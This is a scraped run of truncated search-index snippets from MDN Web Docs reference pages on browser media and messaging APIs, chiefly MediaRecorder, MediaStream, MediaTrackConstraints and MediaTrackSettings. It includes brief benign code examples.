the addlistener() method of the mediaquerylist interface adds a listener to the mediaquerylistener that will run a custom callback function in response to the media query status changing. this is basically an alias for eventtarget.addeventlistener(), for backwards compatibility purposes. older browsers should use addlistener instead of addeventlistener since mediaquerylist only inherits from eventtarget in newer browsers. syntax mediaquerylist.addlistener(func) parameters func a function or function reference representing the callback function you want to run when the media query status changes. in the original implementation, the callback was a non-standard mediaquerylistlistener object. in the new implementation the standard event mechanism is used, the callback is a standard functi...
MediaQueryList.onchange - Web APIs
syntax mediaquerylist.onchange = function() { ... ...
MediaQueryList.removeListener() - Web APIs
syntax mediaquerylist.removelistener(func) parameters func a function or function reference representing the callback function you want to remove. in the original implementation, the callback was a non-standard mediaquerylistlistener object. ...
MediaRecorder() - Web APIs
tream the mediastream that will be recorded. this source media can come from a stream created using navigator.mediadevices.getusermedia() or from an <audio>, <video> or <canvas> element. options optional a dictionary object that can contain the following properties: mimetype: a mime type specifying the format for the resulting media; you may simply specify the container format (the browser will select its preferred codecs for audio and/or video), or you may use the codecs parameter and/or the profiles parameter to provide detailed information about which codecs to use and how to configure them. applications can check in advance if a mimetype is supported by the user agent by calling mediarecorder.istypesupported(). audiobitspersecond: the chosen bitrate for the audio component ...
MediaRecorder.audioBitsPerSecond - Web APIs
rate in use. this may differ from the bit rate specified in the constructor (if it was provided). syntax var audiobitspersecond = mediarecorder.audiobitspersecond value a number (unsigned long). specifications specification status comment mediastream recordingthe definition of 'audiobitspersecond' in that specification. working draft initial definition. browser compatibility the compatibility table in this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetaudiobitspersecond exper...
MediaRecorder.mimeType - Web APIs
the mimetype read-only property returns the mime media type that was specified when creating the mediarecorder object, or, if none was specified, which was chosen by the browser. this is the file format of the file that would result from writing all of the recorded data to disk. keep in mind that not all codecs are supported by a given container; if you write media using a codec that is not supported by a given media container, the resulting file may not work reliably if at all when you try to play it back. see our media type and format guide for information about container and codec support across browsers. note: the term "mime type" is officially considered to be historical; these strings are now officially known as media types. mdn web docs content uses the terms interchangeably. synt...
MediaRecorder.pause() - Web APIs
if not, continue to the next step. set mediarecorder.state to "paused". stop gathering data into the current blob, but keep it available so that recording can be resumed later on. raise a pause event. syntax mediarecorder.pause() return value undefined. ...
MediaRecorder.requestData() - Web APIs
the mediarecorder.requestdata() method (part of the mediarecorder api) is used to raise a dataavailable event containing a blob object of the captured media as it was when the method was called. this can then be grabbed and manipulated as you wish. when the requestdata() method is invoked, the browser queues a task that runs the following steps: if mediarecorder.state is not "recording", raise a dom invalidstate error and terminate these steps. if mediarecorder.state is "recording", continue to the next step. raise a dataavailable event containing a blob of the currently captured data (the blob is available under the event's data attribute.) create a new blob and place subsequently captured data into it. syntax mediarecorder.requestdata() errors an invalidstate error is raised if t...
MediaRecorder.resume() - Web APIs
if mediarecorder.state is not "inactive", continue to the next step. set mediarecorder.state to "recording". continue gathering data into the current blob. raise a resume event. ...
MediaRecorder.start() - Web APIs
dia, if no slice duration was provided), a dataavailable event is sent to the mediarecorder with the recorded data. if the source is still playing, a new blob is created and recording continues into that, and so forth. when the source stream ends, state is set to inactive and data gathering stops. a final dataavailable event is sent to the mediarecorder, followed by a stop event. note: if the browser is unable to start recording or continue recording, it will raise a domerror event, followed by a mediarecorder.dataavailable event containing the blob it has gathered, followed by the mediarecorder.stop event. syntax mediarecorder.start(timeslice) parameters timeslice optional the number of milliseconds to record into each blob. if this parameter isn't included, the entire media durati...
MediaSession.metadata - Web APIs
syntax var mediametadata = navigator.mediasession.metadata; navigator.mediasession.metadata = mediametadata; value an instance of mediametadata containing information about the media currently being played. ...
MediaSession.setPositionState() - Web APIs
call this method on the navigator object's mediasession object. ...
MediaSession - Web APIs
he mediasession interface of the media session api allows a web page to provide custom behaviors for standard media playback interactions, and to report metadata that can be sent by the user agent to the device or operating system for presentation in standardized user interface elements. for example, a smartphone might have a standard panel in its lock screen that provides controls for media. a browser on that device might deliver the metadata provided by calling mediasession to the device in order to be controllable using the global user interface. properties metadata returns an instance of mediametadata which contains rich media metadata, for display in a platform ui. playbackstate indicates whether the current media session is playing. valid values are none, paused, or playing. me...
MediaSource.endOfStream() - Web APIs
am('network'), display a descriptive message in the ui, and maybe retry the network request immediately or wait until the network is back up (via some kind of polling.) decode: terminates playback and signals that a decoding error has occured. this can be used to indicate that a parsing error has occured while fetching media data; maybe the data is corrupt, or is encoded using a codec that the browser doesn't know how to decode. return value undefined exceptions exception explanation invalidstateerror mediasource.readystate is not equal to open, or one or more of the sourcebuffer objects in mediasource.sourcebuffers are being updated (i.e. their sourcebuffer.updating property is true.) example the following snippet is from a simple example written...
MediaSource.isTypeSupported() - Web APIs
be supported by the current user agent. that is, if it can successfully create sourcebuffer objects for that mime type. if the returned value is false, then the user agent is certain that it cannot access media of the specified format. syntax var isitsupported = mediasource.istypesupported(mimetype); parameters mimetype the mime media type that you want to test support for in the current browser. this may include the codecs parameter to provide added details about the codecs used within the file. return value a boolean which is true if the browser feels that it can probably play media of the specified type. this is not a guarantee, however, and your code must be prepared for the possibility that the media will not play correctly if at all. a value of false is a guarantee that media ...
MediaStream.getTracks() - Web APIs
t.queryselector('video').srcobject = mediastream; // stop the stream after 5 seconds settimeout(() => { const tracks = mediastream.gettracks() tracks[0].stop() }, 5000) }) specifications specification status comment media capture and streamsthe definition of 'gettracks()' in that specification. candidate recommendation initial definition. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetgettracks experimental...
MediaStream.id - Web APIs
Web › API › MediaStream › id
e object. syntax var id = mediastream.id; example var p = navigator.mediadevices.getusermedia({ audio: true, video: true }); p.then(function(stream) { console.log(stream.id); }) specifications specification status comment media capture and streamsthe definition of 'mediastream.id' in that specification. candidate recommendation initial definition. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetidchrome n...
MediaStream.onaddtrack - Web APIs
the mediastream.onaddtrack property is an eventhandler which specifies a function to be called when the addtrack event occurs on a mediastream instance. this happens when a new track of any kind is added to the media stream. this event is fired when the browser adds a track to the stream (such as when a rtcpeerconnection is renegotiated or a stream being captured using htmlmediaelement.capturestream() gets a new set of tracks because the media element being captured loaded a new source. the addtrack event does not get fired when javascript code explicitly adds tracks to the stream (by calling addtrack()). syntax mediastream.onaddtrack = eventhandler; value this should be set to a function which you provide that accepts as input a mediastreamtrackevent object representing the addtrack ev...
MediaStream.onremovetrack - Web APIs
the mediastream.onremovetrack property is an eventhandler which specifies a function to be called when the removetrack event occurs on a mediastream instance. this happens when a track of any kind is removed from the media stream. this event is fired when the browser removes a track from the stream (such as when a rtcpeerconnection is renegotiated or a stream being captured using htmlmediaelement.capturestream() gets a new set of tracks because the media element being captured loaded a new source. the removetrack event does not get fired when javascript code explicitly removes tracks from the stream (by calling removetrack()). syntax mediastream.onremovetrack = eventhandler; value this should be set to a function which you provide that accepts as input a mediastreamtrackevent object rep...
MediaStreamAudioSourceNode() - Web APIs
working draft ...
MediaStreamConstraints.audio - Web APIs
is available or if permission is not given to use the audio source, the call to getusermedia() will fail. if false, no audio track is included. mediatrackconstraints a constraints dictionary detailing the preferable and/or required values or ranges of values for the track's constrainable properties. if you specify constraints, an audio track meeting the constraints is required. examples for browsers with feature policy enabled, the samples below need the microphone feature enabled. see security in mediadevices.getusermedia() for details and examples on how to configure this. using a boolean value in this example, we provide a simple value of true for the audio property. this tells getusermedia() that we require an audio track, but we don't care about any specifics beyond that. html co...
MediaStreamTrack.getCapabilities() - Web APIs
see capabilities, constraints, and settings for details on how to work with constrainable properties. ...
MediaStreamTrack - Web APIs
if the track has been disconnected, this value can be changed but has no more effect. note: you can implement standard "mute" functionality by setting enabled to false. the muted property refers to a condition in which there's no media because of a technical issue. mediastreamtrack.id read only returns a domstring containing a unique identifier (guid) for the track; it is generated by the browser. mediastreamtrack.isolated read only returns a boolean value which is true if the track is isolated; that is, the track cannot be accessed by the document that owns the mediastreamtrack. this happens when the peeridentity property is set, or if the track comes from a cross-origin source. mediastreamtrack.kind read only returns a domstring set to "audio" if the track is an audio track and ...
MediaStreamTrackAudioSourceNode() - Web APIs
working draft ...
MediaStreamTrackAudioSourceNode - Web APIs
so playing/pausing the stream can still be done through the media element api and the player controls. specification specification status co...
MediaStreamTrackAudioSourceOptions.mediaStreamTrack - Web APIs
working draft ...
Recording a media element - Web APIs
ayback element's src attribute (so that you can play the video from the blob) as well as the target of the download button's link. then the download button's download attribute is set. while the download attribute can be a boolean, you can also set it to a string to use as the name for the downloaded file. so by setting the download link's download attribute to "recordedvideo.webm", we tell the browser that clicking the button should download a file named "recordedvideo.webm" whose contents are the recorded video. lines 17-18 the size and type of the recorded media are output to the log area below the two videos and the download button. line 20 the catch() for all the promises outputs the error to the logging area by calling our log() function. handling the stop button the last bit o...
MediaTrackConstraints.aspectRatio - Web APIs
o property is a constraindouble describing the requested or mandatory constraints placed upon the value of the aspectratio constrainable property. if needed, you can determine whether or not this constraint is supported by checking the value of mediatracksupportedconstraints.aspectratio as returned by a call to mediadevices.getsupportedconstraints(). however, typically this is unnecessary since browsers will simply ignore any constraints they're unfamiliar with. syntax var constraintsobject = { aspectratio: constraint }; constraintsobject.aspectratio = constraint; value a constraindouble describing the acceptable or required value(s) for a video track's aspect ratio. the value is the width divided by the height and is rounded to ten decimal places. for example, the standard high-definit...
MediaTrackConstraints.autoGainControl - Web APIs
y is a constrainboolean describing the requested or mandatory constraints placed upon the value of the autogaincontrol constrainable property. if needed, you can determine whether or not this constraint is supported by checking the value of mediatracksupportedconstraints.autogaincontrol as returned by a call to mediadevices.getsupportedconstraints(). however, typically this is unnecessary since browsers will simply ignore any constraints they're unfamiliar with. automatic gain control is typically a feature provided by microphones, although it can be provided by other input sources as well. syntax var constraintsobject = { autogaincontrol: constraint }; constraintsobject.autogaincontrol = constraint; value if this value is a simple true or false, the user agent will attempt to obtain m...
MediaTrackConstraints.channelCount - Web APIs
t property is a constrainlong describing the requested or mandatory constraints placed upon the value of the channelcount constrainable property. if needed, you can determine whether or not this constraint is supported by checking the value of mediatracksupportedconstraints.channelcount as returned by a call to mediadevices.getsupportedconstraints(). however, typically this is unnecessary since browsers will simply ignore any constraints they're unfamiliar with. syntax var constraintsobject = { channelcount: constraint }; constraintsobject.channelcount = constraint; value if this value is a number, the user agent will attempt to obtain media whose channel count is as close as possible to this number given the capabilities of the hardware and the other constraints specified. otherwise, t...
MediaTrackConstraints.cursor - Web APIs
laced upon the value of the cursor constrainable property, which is used to specify whether or not the cursor should be included in the captured video. if needed, you can determine whether or not this constraint is supported by checking the value of mediatracksupportedconstraints.cursor as returned by a call to mediadevices.getsupportedconstraints(). however, typically this is unnecessary since browsers will simply ignore any constraints they're unfamiliar with. syntax var constraintsobject = { cursor: constraint }; constraintsobject.cursor = constraint; value a constraindomstring which specifies whether or not the mouse cursor should be rendered into the video track in the mediastream returned by the call to getdisplaymedia(). see how constraints are defined in capabilities, constraint...
MediaTrackConstraints.displaySurface - Web APIs
rty. this is used to specify the type or types of display surfaces which getdisplaymedia() will let the user select among for sharing purposes. if needed, you can determine whether or not this constraint is supported by checking the value of mediatracksupportedconstraints.displaysurface as returned by a call to mediadevices.getsupportedconstraints(). however, typically this is unnecessary since browsers will simply ignore any constraints they're unfamiliar with. syntax var constraintsobject = { displaysurface: constraint }; constraintsobject.displaysurface = constraint; value a constraindomstring which specifies the type of display surface that's being captured. this value does not affect the list of display sources in the browser's user interface. see how constraints are defined in ca...
MediaTrackConstraints.echoCancellation - Web APIs
is a constrainboolean describing the requested or mandatory constraints placed upon the value of the echocancellation constrainable property. if needed, you can determine whether or not this constraint is supported by checking the value of mediatracksupportedconstraints.echocancellation as returned by a call to mediadevices.getsupportedconstraints(). however, typically this is unnecessary since browsers will simply ignore any constraints they're unfamiliar with. because rtp doesn't include this information, tracks associated with a webrtc rtcpeerconnection will never include this property. syntax var constraintsobject = { echocancellation: constraint }; constraintsobject.echocancellation = constraint; value if this value is a simple true or false, the user agent will attempt to obtain ...
MediaTrackConstraints.facingMode - Web APIs
property is a constraindomstring describing the requested or mandatory constraints placed upon the value of the facingmode constrainable property. if needed, you can determine whether or not this constraint is supported by checking the value of mediatracksupportedconstraints.facingmode as returned by a call to mediadevices.getsupportedconstraints(). however, typically this is unnecessary since browsers will simply ignore any constraints they're unfamiliar with. because rtp doesn't include this information, tracks associated with a webrtc rtcpeerconnection will never include this property. syntax var constraintsobject = { facingmode: constraint }; constraintsobject.facingmode = constraint; value an object based on constraindomstring specifying one or more acceptable, ideal, and/or exac...
MediaTrackConstraints.frameRate - Web APIs
erate property is a constraindouble describing the requested or mandatory constraints placed upon the value of the framerate constrainable property. if needed, you can determine whether or not this constraint is supported by checking the value of mediatracksupportedconstraints.framerate as returned by a call to mediadevices.getsupportedconstraints(). however, typically this is unnecessary since browsers will simply ignore any constraints they're unfamiliar with. syntax var constraintsobject = { framerate: constraint }; constraintsobject.framerate = constraint; value a constraindouble describing the acceptable or required value(s) for a video track's frame rate, in frames per second. if this value is a number, the user agent will attempt to obtain media whose frame rate is as close as p...
MediaTrackConstraints.height - Web APIs
nary's height property is a constrainlong describing the requested or mandatory constraints placed upon the value of the height constrainable property. if needed, you can determine whether or not this constraint is supported by checking the value of mediatracksupportedconstraints.height as returned by a call to mediadevices.getsupportedconstraints(). however, typically this is unnecessary since browsers will simply ignore any constraints they're unfamiliar with. syntax var constraintsobject = { height: constraint }; constraintsobject.height = constraint; value if this value is a number, the user agent will attempt to obtain media whose height is as close as possible to this number given the capabilities of the hardware and the other constraints specified. otherwise, the value of this co...
MediaTrackConstraints.latency - Web APIs
s latency property is a constraindouble describing the requested or mandatory constraints placed upon the value of the latency constrainable property. if needed, you can determine whether or not this constraint is supported by checking the value of mediatracksupportedconstraints.latency as returned by a call to mediadevices.getsupportedconstraints(). however, typically this is unnecessary since browsers will simply ignore any constraints they're unfamiliar with. because rtp doesn't include this information, tracks associated with a webrtc rtcpeerconnection will never include this property. syntax var constraintsobject = { latency: constraint }; constraintsobject.latency = constraint; value a constraindouble describing the acceptable or required value(s) for an audio track's latency, wi...
MediaTrackConstraints.logicalSurface - Web APIs
e screen, such as occluded windows or the complete content of windows which are large enough to require scrolling to see their entire contents. if needed, you can determine whether or not this constraint is supported by checking the value of mediatracksupportedconstraints.logicalsurface as returned by a call to mediadevices.getsupportedconstraints(). however, typically this is unnecessary since browsers will simply ignore any constraints they're unfamiliar with. syntax var constraintsobject = { logicalsurface: constraint }; constraintsobject.logicalsurface = constraint; value a constrainboolean which is true if logical surfaces should be permitted among the selections available to the user. see how constraints are defined in capabilities, constraints, and settings for an explanation of...
MediaTrackConstraints.noiseSuppression - Web APIs
is a constrainboolean describing the requested or mandatory constraints placed upon the value of the noisesuppression constrainable property. if needed, you can determine whether or not this constraint is supported by checking the value of mediatracksupportedconstraints.noisesuppression as returned by a call to mediadevices.getsupportedconstraints(). however, typically this is unnecessary since browsers will simply ignore any constraints they're unfamiliar with. noise suppression is typically provided by microphones, although it can be provided by other input sources as well. syntax var constraintsobject = { noisesuppression: constraint }; constraintsobject.noisesuppression = constraint; value if this value is a simple true or false, the user agent will attempt to obtain media with noi...
MediaTrackConstraints.sampleRate - Web APIs
erate property is a constrainlong describing the requested or mandatory constraints placed upon the value of the samplerate constrainable property. if needed, you can determine whether or not this constraint is supported by checking the value of mediatracksupportedconstraints.samplerate as returned by a call to mediadevices.getsupportedconstraints(). however, typically this is unnecessary since browsers will simply ignore any constraints they're unfamiliar with. syntax var constraintsobject = { samplerate: constraint }; constraintsobject.samplerate = constraint; value if this value is a number, the user agent will attempt to obtain media whose sample rate is as close as possible to this number given the capabilities of the hardware and the other constraints specified. otherwise, the val...
MediaTrackConstraints.sampleSize - Web APIs
esize property is a constrainlong describing the requested or mandatory constraints placed upon the value of the samplesize constrainable property. if needed, you can determine whether or not this constraint is supported by checking the value of mediatracksupportedconstraints.samplesize as returned by a call to mediadevices.getsupportedconstraints(). however, typically this is unnecessary since browsers will simply ignore any constraints they're unfamiliar with. syntax var constraintsobject = { samplesize: constraint }; constraintsobject.samplesize = constraint; value if this value is a number, the user agent will attempt to obtain media whose sample size (in bits per linear sample) is as close as possible to this number given the capabilities of the hardware and the other constraints s...
MediaTrackControls.volume - Web APIs
ry's volume property is a constraindouble describing the requested or mandatory constraints placed upon the value of the volume constrainable property. if needed, you can determine whether or not this constraint is supported by checking the value of mediatracksupportedconstraints.volume as returned by a call to mediadevices.getsupportedconstraints(). however, typically this is unnecessary since browsers will simply ignore any constraints they're unfamiliar with. syntax var constraintsobject = { volume: constraint }; constraintsobject.volume = constraint; value a constraindouble describing the acceptable or required value(s) for an audio track's volume, on a linear scale where 0.0 means silence and 1.0 is the highest supported volume. if this value is a number, the user agent will attem...
MediaTrackConstraints.width - Web APIs
tionary's width property is a constrainlong describing the requested or mandatory constraints placed upon the value of the width constrainable property. if needed, you can determine whether or not this constraint is supported by checking the value of mediatracksupportedconstraints.width as returned by a call to mediadevices.getsupportedconstraints(). however, typically this is unnecessary since browsers will simply ignore any constraints they're unfamiliar with. syntax var constraintsobject = { width: constraint }; constraintsobject.width = constraint; value if this value is a number, the user agent will attempt to obtain media whose width is as close as possible to this number given the capabilities of the hardware and the other constraints specified. otherwise, the value of this const...
MediaTrackSettings.aspectRatio - Web APIs
escribed in the mediatrackconstraints.aspectratio property you provided when calling either getusermedia() or mediastreamtrack.applyconstraints(). if needed, you can determine whether or not this constraint is supported by checking the value of mediatracksupportedconstraints.aspectratio as returned by a call to mediadevices.getsupportedconstraints(). however, typically this is unnecessary since browsers will simply ignore any constraints they're unfamiliar with. syntax var aspectratio = mediatracksettings.aspectratio; value a double-precision floating-point number indicating the current configuration of the track's aspect ratio. the aspect ratio is computed by taking the track's width, dividing by its height, and rounding the result to ten decimal places. for example, the standard 16:9 h...
MediaTrackSettings.autoGainControl - Web APIs
tain a steady overall volume level. this feature is typically used on microphones, although it can be provided by other input sources as well. if needed, you can determine whether or not this constraint is supported by checking the value of mediatracksupportedconstraints.autogaincontrol as returned by a call to mediadevices.getsupportedconstraints(). however, typically this is unnecessary since browsers will simply ignore any constraints they're unfamiliar with. syntax var autogaincontrol = mediatracksettings.autogaincontrol; value a boolean value which is true if the track has automatic gain control enabled or false if agc is disabled. example see example: constraint exerciser in capabilities, constraints, and settings for an example. specifications specification status ...
MediaTrackSettings.channelCount - Web APIs
cribed in the mediatrackconstraints.channelcount property you provided when calling either getusermedia() or mediastreamtrack.applyconstraints(). if needed, you can determine whether or not this constraint is supported by checking the value of mediatracksupportedconstraints.channelcount as returned by a call to mediadevices.getsupportedconstraints(). however, typically this is unnecessary since browsers will simply ignore any constraints they're unfamiliar with. syntax var channelcount = mediatracksettings.channelcount; value an integer value indicating the number of audio channels on the track. a value of 1 indicates monaural sound, 2 means stereo, and so forth. example see example: constraint exerciser in capabilities, constraints, and settings for an example. specifications ...
MediaTrackSettings.displaySurface - Web APIs
ue the value of displaysurface is a string that comes from the displaycapturesurfacetype enumerated type, and is one of the following: application the stream's video track contains all of the windows belonging to the application chosen by the user. the windows are aggragated into a single video track, with any empty space filled with a backdrop; that backdrop is selected by the user agent. browser the stream's video track presents the entire contents of a single browser tab which the user selected during the getdisplaymedia() call. monitor the video track in the stream presents the complete contents of one or more of the user's screens. any empty space (if the displays are of different dimensions) is filled with a backdrop chosen by the user agent. window the stream's video track pr...
MediaTrackSettings.echoCancellation - Web APIs
ht apply a filter that negates the sound being produced on the speakers from being included in the input track generated from the microphone. if needed, you can determine whether or not this constraint is supported by checking the value of mediatracksupportedconstraints.echocancellation as returned by a call to mediadevices.getsupportedconstraints(). however, typically this is unnecessary since browsers will simply ignore any constraints they're unfamiliar with. because rtp doesn't include this information, tracks associated with a webrtc rtcpeerconnection will never include this property. syntax var echocancellation = mediatracksettings.echocancellation; value a boolean value which is true if the track has echo cancellation functionality enabled or false if echo cancellation is disable...
MediaTrackSettings.facingMode - Web APIs
described in the mediatrackconstraints.facingmode property you provided when calling either getusermedia() or mediastreamtrack.applyconstraints(). if needed, you can determine whether or not this constraint is supported by checking the value of mediatracksupportedconstraints.facingmode as returned by a call to mediadevices.getsupportedconstraints(). however, typically this is unnecessary since browsers will simply ignore any constraints they're unfamiliar with. because rtp doesn't include this information, tracks associated with a webrtc rtcpeerconnection will never include this property. syntax var facingmode = mediatracksettings.facingmode; value a domstring whose value is one of the strings in videofacingmodeenum. videofacingmodeenum the following strings are permitted values for ...
MediaTrackSettings.frameRate - Web APIs
as described in the mediatrackconstraints.framerate property you provided when calling either getusermedia() or mediastreamtrack.applyconstraints(). if needed, you can determine whether or not this constraint is supported by checking the value of mediatracksupportedconstraints.framerate as returned by a call to mediadevices.getsupportedconstraints(). however, typically this is unnecessary since browsers will simply ignore any constraints they're unfamiliar with. syntax var framerate = mediatracksettings.framerate; value a double-precision floating-point number indicating the current configuration of the track's frame rate, in frames per second. example see example: constraint exerciser in capabilities, constraints, and settings for an example. specifications specification ...
MediaTrackSettings.height - Web APIs
value as described in the mediatrackconstraints.height property you provided when calling either getusermedia() or mediastreamtrack.applyconstraints(). if needed, you can determine whether or not this constraint is supported by checking the value of mediatracksupportedconstraints.height as returned by a call to mediadevices.getsupportedconstraints(). however, typically this is unnecessary since browsers will simply ignore any constraints they're unfamiliar with. syntax var height = mediatracksettings.height; value an integer value indicating the height, in pixels, of the video track as currently configured. example see example: constraint exerciser in capabilities, constraints, and settings for an example. specifications specification status comment media ...
MediaTrackSettings.latency - Web APIs
.applyconstraints(). this is, of course, an approximation, since latency can vary for many reasons including cpu, transmission, and storage overhead. if needed, you can determine whether or not this constraint is supported by checking the value of mediatracksupportedconstraints.latency as returned by a call to mediadevices.getsupportedconstraints(). however, typically this is unnecessary since browsers will simply ignore any constraints they're unfamiliar with. because rtp doesn't include this information, tracks associated with a webrtc rtcpeerconnection will never include this property. syntax var latency = mediatracksettings.latency; value a double-precision floating-point number indicating the estimated latency, in seconds, of the audio track as currently configured. example see ...
MediaTrackSettings.logicalSurface - Web APIs
ince the window that contains the surface has to be scrolled to show the rest of the contents, the surface is a logical one. a visible display surface (that is, a surface for which logicalsurface returns false) is the portion of a logical display surface which is currently visible onscreen. for example, a user agent may choose to allow the user to choose whether to share the entire document (a browser with logicalsurface value of true), or just the currently visible portion of the document (where the logicalsurface of the browser surface is false). specifications specification status comment screen capturethe definition of 'mediatracksettings.logicalsurface' in that specification. working draft initial definition ...
MediaTrackSettings.noiseSuppression - Web APIs
code. this feature is typically used on microphones, although it is technically possible it could be provided by other input sources as well. if needed, you can determine whether or not this constraint is supported by checking the value of mediatracksupportedconstraints.noisesuppression as returned by a call to mediadevices.getsupportedconstraints(). however, typically this is unnecessary since browsers will simply ignore any constraints they're unfamiliar with. syntax var noisesuppression = mediatracksettings.noisesuppression; value a boolean value which is true if the input track has noise suppression enabled or false if agc is disabled. example see example: constraint exerciser in capabilities, constraints, and settings for an example. specifications specification stat...
MediaTrackSettings.sampleRate - Web APIs
described in the mediatrackconstraints.samplerate property you provided when calling either getusermedia() or mediastreamtrack.applyconstraints(). if needed, you can determine whether or not this constraint is supported by checking the value of mediatracksupportedconstraints.samplerate as returned by a call to mediadevices.getsupportedconstraints(). however, typically this is unnecessary since browsers will simply ignore any constraints they're unfamiliar with. syntax var samplerate = mediatracksettings.samplerate; value an integer value indicating how many samples each second of audio data includes. common values include 44,100 (standard cd audio), 48,000 (standard digital audio), 96,000 (commonly used in audio mastering and post-production), and 192,000 (used for high-resolution audio...
MediaTrackSettings.sampleSize - Web APIs
described in the mediatrackconstraints.samplesize property you provided when calling either getusermedia() or mediastreamtrack.applyconstraints(). if needed, you can determine whether or not this constraint is supported by checking the value of mediatracksupportedconstraints.samplesize as returned by a call to mediadevices.getsupportedconstraints(). however, typically this is unnecessary since browsers will simply ignore any constraints they're unfamiliar with. syntax var samplesize = mediatracksettings.samplesize; value an integer value indicating how many bits each audio sample is represented by. the most commonly used sample size for many years now is 16 bits per sample, which was used for cd audio among others. other common sample sizes are 8 (for reduced bandwidth requirements) and...
MediaTrackSettings.volume - Web APIs
value as described in the mediatrackconstraints.volume property you provided when calling either getusermedia() or mediastreamtrack.applyconstraints(). if needed, you can determine whether or not this constraint is supported by checking the value of mediatracksupportedconstraints.volume as returned by a call to mediadevices.getsupportedconstraints(). however, typically this is unnecessary since browsers will simply ignore any constraints they're unfamiliar with. syntax var volume = mediatracksettings.volume; value a double-precision floating-point number indicating the volume, from 0.0 to 1.0, of the audio track as currently configured. example see example: constraint exerciser in capabilities, constraints, and settings for an example. ...
MediaTrackSettings.width - Web APIs
s value as described in the mediatrackconstraints.width property you provided when calling either getusermedia() or mediastreamtrack.applyconstraints(). if needed, you can determine whether or not this constraint is supported by checking the value of mediatracksupportedconstraints.width as returned by a call to mediadevices.getsupportedconstraints(). however, typically this is unnecessary since browsers will simply ignore any constraints they're unfamiliar with. syntax var width = mediatracksettings.width; value an integer value indicating the width, in pixels, of the video track as currently configured. example see example: constraint exerciser in capabilities, constraints, and settings for an example. specifications specification status comment media cap...
MediaTrackSupportedConstraints.displaySurface - Web APIs
= supportedconstraints.displaysurface; value a boolean value which is true if the displaysurface constraint is supported by the device and user agent. example this method sets up the constraints object specifying the options for the call to getdisplaymedia(). it adds the displaysurface constraint (requesting that only full-screen sharing be allowed) only if it is known to be supported by the browser. capturing is then started by calling getdisplaymedia() and attaching the returned stream to the video element referenced by the variable videoelem. async function capture() { let supportedconstraints = navigator.mediadevices.getsupportedconstraints(); let displaymediaoptions = { video: { }, audio: false; }; if (supportedconstraints.displaysurface) { displaymediaoption...
MediaTrackSupportedConstraints.logicalSurface - Web APIs
constraint is supported by the device and user agent. example this method sets up the constraints object specifying the options for the call to getdisplaymedia(). it adds the logicalsurface constraint (requesting that only logical display surfaces—those which may not be entirely visible onscreen—be included among the options available to the user) only if it is known to be supported by the browser. capturing is then started by calling getdisplaymedia() and attaching the returned stream to the video element referenced by the variable videoelem. async function capture() { let supportedconstraints = navigator.mediadevices.getsupportedconstraints(); let displaymediaoptions = { video: { }, audio: false; }; if (supportedconstraints.logicalsurface) { displaymediaoption...
MediaTrackSupportedConstraints - Web APIs
an object conforming to mediatracksupportedconstraints is returned by mediadevices.getsupportedconstraints(). because of the way interface definitions in webidl work, if a constraint is requested but not supported, no error will occur. ...
Media Source API - Web APIs
he different chunks of media that make up the entire stream. mse gives us finer grained control over how much and how often content is fetched, and some control over memory usage details, such as when buffers are evicted. it lays the groundwork for adaptive bitrate streaming clients (such as those using dash or hls) to be built on its extensible api. creating assets that work with mse in modern browsers is a laborious process, taking significant time, computing power, and energy. the usage of external utilities to massage the content into a suitable format is required. while browser support for the various media containers with mse is spotty, usage of the h.264 video codec, aac audio codec, and mp4 container format is a common baseline. mse also provides an api for runtime detection of contai...
Media Capture and Streams API (Media Stream) - Web APIs
irectly. events addtrack ended muted overconstrained removetrack started unmuted guides and tutorials the articles below provide additional guidance and how-to information that will help you learn to use the api, and how to perform specific tasks that you may wish to handle. capabilities, constraints, and settingsthe twin concepts of constraints and capabilities let the browser and web site or app exchange information about what constrainable properties the browser's implementation supports and what values it supports for each one. this article discusses capabilities and constraints, as well as media settings, and includes an example we call the constraint exerciser. ...
MessagePort: message event - Web APIs
the message event is fired on a messageport object when a message arrives on that channel. ...
MessagePort: messageerror event - Web APIs
the messageerror event is fired on a messageport object when it receives a message that can't be deserialized. ...
MessagePort.postMessage() - Web APIs
the postmessage() method of the messageport interface sends a message from the port, and optionally, transfers ownership of objects to other browsing contexts. note: this feature is available in web workers. syntax port.postmessage(message, transferlist); returns void. parameters message the message you want to send through the channel. this can be of any basic data type. multiple data items can be sent as an array. transferlist optional transferable objects to be transferred — these objects have their ownership transferred to the receiving browsing context, so are no longer usable by the sending browsing context. example in the following code block, you can see a new channel being created using the messagechannel.messagechannel constructor. when the iframe has loaded, we pas...
MessagePort - Web APIs
...
Microsoft API extensions - Web APIs
these extensions are prefixed with ms or ms. note: these apis will only work in microsoft applications, and are not on a standards track. ...
MimeType - Web APIs
Web › API › MimeType
n array of this object. properties mimetype.type returns the mime type of the associated plugin. mimetype.description returns a description of the associated plugin or an empty string if there is none. mimetype.suffixes a string containing valid file extensions for the data displayed by the plugin, or an empty string if an extension is not valid for the particular module. for example, a browser's content decryption module may appear in the plugin list but support more file extensions than can be anticipated. it might therefore return an empty string. mimetype.enabledplugin returns an instance of plugin containing information about the plugin itself. specifications specification status comment html living standardthe definition of 'mimetype' in that specifi...
MouseEvent.altKey - Web APIs
Web › API › MouseEvent › altKey
on some linux variants, for example, a left mouse click combined with the alt key is used to move or resize windows. note: on macintosh keyboards, this key is also known as the option key. syntax var altkeypressed = instanceofmouseevent.altkey return value a boolean, where true indicates that the key is pressed, and false indicates that the key is not pressed. ...
MouseEvent.button - Web APIs
Web › API › MouseEvent › button
